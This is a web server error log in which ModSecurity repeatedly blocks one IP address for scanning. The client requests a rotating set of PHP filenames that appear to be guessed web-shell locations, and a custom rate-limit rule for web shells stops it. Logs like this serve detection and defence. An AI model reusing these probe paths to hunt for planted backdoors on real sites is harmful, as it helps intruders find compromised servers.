[Fri Apr 17 14:32:47.677081 2026] [:error] [pid 9263:tid 9270] [client 74.234.56.128:24925] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35_S.php"] [unique_id "aeHUDxP68VyHNvj1e56iywAAAMU"]
[Fri Apr 17 14:32:48.271684 2026] [:error] [pid 9152:tid 9198] [client 74.234.56.128:26485] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "aeHUEJJYca8I3TNCwIf-PwAAAEg"]
[Fri Apr 17 14:32:48.273888 2026] [:error] [pid 9152:tid 9203] [client 74.234.56.128:26925] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35_S.php"] [unique_id "aeHUEJJYca8I3TNCwIf-QAAAAE0"]
[Fri Apr 17 14:32:49.047309 2026] [:error] [pid 51878:tid 51889] [client 74.234.56.128:27404] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "aeHUEUnQhUtMbw9EsgYaVAAAAQk"]
[Fri Apr 17 14:32:49.071973 2026] [:error] [pid 51878:tid 51886] [client 74.234.56.128:27398] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35_S.php"] [unique_id "aeHUEUnQhUtMbw9EsgYaVQAAAQY"]
[Fri Apr 17 14:32:49.659497 2026] [:error] [pid 9263:tid 9278] [client 74.234.56.128:27511] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35_S.php"] [unique_id "aeHUERP68VyHNvj1e56izwAAAM0"]
[Fri Apr 17 14:32:49.693458 2026] [:error] [pid 9263:tid 9284] [client 74.234.56.128:26918] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "aeHUERP68VyHNvj1e56i0AAAANM"]
[Fri Apr 17 14:32:50.256965 2026] [:error] [pid 9153:tid 9242] [client 74.234.56.128:27433] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "aeHUEuMHGxkTZX3c45fPBwAAAJg"]
[Fri Apr 17 14:32:50.332420 2026] [:error] [pid 9263:tid 9266] [client 74.234.56.128:27444] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2026w.php"] [unique_id "aeHUEhP68VyHNvj1e56i0gAAAME"]
[Fri Apr 17 14:32:50.817780 2026] [:error] [pid 9152:tid 9193] [client 74.234.56.128:26941] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/10.php"] [unique_id "aeHUEpJYca8I3TNCwIf-QwAAAEM"]
[Fri Apr 17 14:32:50.872748 2026] [:error] [pid 9152:tid 9190] [client 74.234.56.128:27415] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2026w.php"] [unique_id "aeHUEpJYca8I3TNCwIf-RAAAAEA"]
[Fri Apr 17 14:32:51.341886 2026] [:error] [pid 9152:tid 9200] [client 74.234.56.128:26962] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/10.php"] [unique_id "aeHUE5JYca8I3TNCwIf-RwAAAEo"]
[Fri Apr 17 14:32:51.399052 2026] [:error] [pid 9152:tid 9196] [client 74.234.56.128:27456] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2026w.php"] [unique_id "aeHUE5JYca8I3TNCwIf-SAAAAEY"]
[Fri Apr 17 14:32:52.026911 2026] [:error] [pid 9152:tid 9204] [client 74.234.56.128:26998] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2026w.php"] [unique_id "aeHUFJJYca8I3TNCwIf-SgAAAE4"]
[Fri Apr 17 14:32:52.072896 2026] [:error] [pid 34273:tid 34288] [client 74.234.56.128:24847] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/10.php"] [unique_id "aeHUFGuQDW686mK3dgHC5AAAAY0"]
[Fri Apr 17 14:32:52.585755 2026] [:error] [pid 9263:tid 9277] [client 74.234.56.128:24860] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/10.php"] [unique_id "aeHUFBP68VyHNvj1e56i1AAAAMw"]
[Fri Apr 17 14:32:52.600038 2026] [:error] [pid 9263:tid 9284] [client 74.234.56.128:27429] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/111.php"] [unique_id "aeHUFBP68VyHNvj1e56i1QAAANM"]
[Fri Apr 17 14:32:53.215714 2026] [:error] [pid 9263:tid 9286] [client 74.234.56.128:25951] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "aeHUFRP68VyHNvj1e56i2QAAANU"]
[Fri Apr 17 14:32:53.216875 2026] [:error] [pid 51878:tid 51895] [client 74.234.56.128:27471] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/111.php"] [unique_id "aeHUFUnQhUtMbw9EsgYaVwAAAQ8"]
[Fri Apr 17 14:32:53.805554 2026] [:error] [pid 9151:tid 9179] [client 74.234.56.128:27472] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/111.php"] [unique_id "aeHUFchTVuRPkua22vQUogAAABI"]
[Fri Apr 17 14:32:53.941153 2026] [:error] [pid 34273:tid 34294] [client 74.234.56.128:26915] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "aeHUFWuQDW686mK3dgHC5gAAAZM"]
[Fri Apr 17 14:32:54.331498 2026] [:error] [pid 9153:tid 9222] [client 74.234.56.128:26447] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/111.php"] [unique_id "aeHUFuMHGxkTZX3c45fPCAAAAIQ"]
[Fri Apr 17 14:32:54.593410 2026] [:error] [pid 9151:tid 9170] [client 74.234.56.128:26890] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "aeHUFshTVuRPkua22vQUpQAAAAk"]
[Fri Apr 17 14:32:54.839945 2026] [:error] [pid 9152:tid 9205] [client 74.234.56.128:26894] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1.php"] [unique_id "aeHUFpJYca8I3TNCwIf-VQAAAE8"]
[Fri Apr 17 14:32:55.358666 2026] [:error] [pid 9152:tid 9195] [client 74.234.56.128:26920] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1.php"] [unique_id "aeHUF5JYca8I3TNCwIf-WQAAAEU"]
[Fri Apr 17 14:32:55.423204 2026] [:error] [pid 9152:tid 9204] [client 74.234.56.128:26454] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "aeHUF5JYca8I3TNCwIf-WgAAAE4"]
[Fri Apr 17 14:32:55.946919 2026] [:error] [pid 61523:tid 61547] [client 74.234.56.128:27451] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeHUF8OaH-Pgc7WEf4NGFAAAAcU"]
[Fri Apr 17 14:32:55.954119 2026] [:error] [pid 61523:tid 61558] [client 74.234.56.128:26423] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1.php"] [unique_id "aeHUF8OaH-Pgc7WEf4NGFQAAAdA"]
[Fri Apr 17 14:32:56.528426 2026] [:error] [pid 61523:tid 61552] [client 74.234.56.128:27425] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1.php"] [unique_id "aeHUGMOaH-Pgc7WEf4NGGgAAAco"]
[Fri Apr 17 14:32:56.559208 2026] [:error] [pid 51878:tid 51883] [client 74.234.56.128:27482] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeHUGEnQhUtMbw9EsgYaWgAAAQM"]
[Fri Apr 17 14:32:57.091824 2026] [:error] [pid 61523:tid 61544] [client 74.234.56.128:26993] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "aeHUGcOaH-Pgc7WEf4NGHQAAAcI"]
[Fri Apr 17 14:32:57.099084 2026] [:error] [pid 61523:tid 61564] [client 74.234.56.128:27406] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeHUGcOaH-Pgc7WEf4NGHgAAAdY"]
[Fri Apr 17 14:32:57.595192 2026] [:error] [pid 9263:tid 9270] [client 74.234.56.128:26424] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "aeHUGRP68VyHNvj1e56i3QAAAMU"]
[Fri Apr 17 14:32:57.679162 2026] [:error] [pid 51878:tid 51880] [client 74.234.56.128:26966] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeHUGUnQhUtMbw9EsgYaWwAAAQA"]
[Fri Apr 17 14:32:58.117275 2026] [:error] [pid 9263:tid 9268] [client 74.234.56.128:26953] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "aeHUGhP68VyHNvj1e56i3wAAAMM"]
[Fri Apr 17 14:32:58.439890 2026] [:error] [pid 9152:tid 9206] [client 74.234.56.128:27481] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35_S.php"] [unique_id "aeHUGpJYca8I3TNCwIf-XAAAAFA"]
[Fri Apr 17 14:32:58.624916 2026] [:error] [pid 61523:tid 61555] [client 74.234.56.128:24911] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "aeHUGsOaH-Pgc7WEf4NGJAAAAc0"]
[Fri Apr 17 14:32:58.976770 2026] [:error] [pid 9263:tid 9283] [client 74.234.56.128:27494] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35_S.php"] [unique_id "aeHUGhP68VyHNvj1e56i4gAAANI"]
[Fri Apr 17 14:32:59.409933 2026] [:error] [pid 61523:tid 61545] [client 74.234.56.128:27484] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "aeHUG8OaH-Pgc7WEf4NGJwAAAcM"]
[Fri Apr 17 14:32:59.732801 2026] [:error] [pid 9152:tid 9205] [client 74.234.56.128:26897] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35_S.php"] [unique_id "aeHUG5JYca8I3TNCwIf-XwAAAE8"]
[Fri Apr 17 14:32:59.954077 2026] [:error] [pid 61523:tid 61558] [client 74.234.56.128:27413] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "aeHUG8OaH-Pgc7WEf4NGKQAAAdA"]
[Fri Apr 17 14:33:00.272133 2026] [:error] [pid 9152:tid 9204] [client 74.234.56.128:27487] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35_S.php"] [unique_id "aeHUHJJYca8I3TNCwIf-YAAAAE4"]
[Fri Apr 17 14:33:00.483401 2026] [:error] [pid 61523:tid 61559] [client 74.234.56.128:27418] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "aeHUHMOaH-Pgc7WEf4NGKwAAAdE"]
[Fri Apr 17 14:33:00.779144 2026] [:error] [pid 9263:tid 9270] [client 74.234.56.128:26387] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2026w.php"] [unique_id "aeHUHBP68VyHNvj1e56i4wAAAMU"]
[Fri Apr 17 14:33:01.169834 2026] [:error] [pid 61523:tid 61541] [client 74.234.56.128:26439] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "aeHUHcOaH-Pgc7WEf4NGLAAAAcA"]
[Fri Apr 17 14:33:01.717183 2026] [:error] [pid 9263:tid 9285] [client 74.234.56.128:27477] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwpg.php"] [unique_id "aeHUHRP68VyHNvj1e56i6gAAANQ"]
[Fri Apr 17 14:33:01.757081 2026] [:error] [pid 9263:tid 9281] [client 74.234.56.128:24919] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2026w.php"] [unique_id "aeHUHRP68VyHNvj1e56i6wAAANA"]
[Fri Apr 17 14:33:02.746917 2026] [:error] [pid 9152:tid 9205] [client 74.234.56.128:25952] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2026w.php"] [unique_id "aeHUHpJYca8I3TNCwIf-ZwAAAE8"]
[Fri Apr 17 14:33:03.134431 2026] [:error] [pid 9263:tid 9274] [client 74.234.56.128:27452] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwpg.php"] [unique_id "aeHUHxP68VyHNvj1e56i8AAAAMk"]
[Fri Apr 17 14:33:03.849867 2026] [:error] [pid 9263:tid 9273] [client 74.234.56.128:26985] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2026w.php"] [unique_id "aeHUHxP68VyHNvj1e56i9QAAAMg"]
[Fri Apr 17 14:33:04.650002 2026] [:error] [pid 9263:tid 9283] [client 74.234.56.128:27519] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwpg.php"] [unique_id "aeHUIBP68VyHNvj1e56i-gAAANI"]
[Fri Apr 17 14:33:04.850713 2026] [:error] [pid 51878:tid 51900] [client 74.234.56.128:26462] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/111.php"] [unique_id "aeHUIEnQhUtMbw9EsgYaXQAAARQ"]
[Fri Apr 17 14:33:05.634794 2026] [:error] [pid 34273:tid 34278] [client 74.234.56.128:26932] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/111.php"] [unique_id "aeHUIWuQDW686mK3dgHC6QAAAYM"]
[Fri Apr 17 14:33:06.730895 2026] [:error] [pid 9263:tid 9271] [client 74.234.56.128:24946] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwpg.php"] [unique_id "aeHUIhP68VyHNvj1e56jAQAAAMY"]
[Fri Apr 17 14:33:06.756701 2026] [:error] [pid 9263:tid 9280] [client 74.234.56.128:25465] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/111.php"] [unique_id "aeHUIhP68VyHNvj1e56jAgAAAM8"]
[Fri Apr 17 14:33:07.594570 2026] [:error] [pid 9263:tid 9277] [client 74.234.56.128:27430] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/111.php"] [unique_id "aeHUIxP68VyHNvj1e56jBQAAAMw"]
